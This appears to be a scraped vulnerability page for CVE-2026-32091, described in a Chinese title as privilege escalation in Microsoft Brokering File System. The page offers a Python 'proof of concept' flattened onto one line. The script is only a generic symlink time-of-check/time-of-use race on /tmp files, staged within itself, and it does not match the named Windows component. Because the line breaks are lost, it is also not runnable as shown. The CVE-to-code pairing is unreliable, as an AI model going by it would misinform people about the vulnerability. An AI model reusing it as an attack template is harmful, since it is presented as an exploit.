CVE-2026-32091 Microsoft Brokering File System权限提升漏洞

#!/usr/bin/env python3 # Proof of Concept for Race Condition in File System # This script simulates a race condition (TOCTOU) attack. import threading import time import os target_file = "/tmp/vulnerable_link" malicious_file = "/tmp/malicious_payload" def create_link(): """Simulate the legitimate creation of a resource""" while True: try: os.symlink(malicious_file, target_file) time.sleep(0.0001) os.remove(target_file) except OSError: pass def trigger_vulnerability(): """Simulate the application checking and using the resource""" for _ in range(1000): # Time of Check if os.path.exists(target_file): # Small delay to simulate processing and widen the window time.sleep(0.0005) # Time of Use with open(target_file, 'r') as f: print("[+] Exploit triggered! Read content successfully.") break if __name__ == "__main__": # Setup with open(malicious_file, 'w') as f: f.write("MALICIOUS CONTENT") # Start threads t1 = threading.Thread(target=create_link) t2 = threading.Thread(target=trigger_vulnerability) t1.start() t2.start() t1.join() t2.join()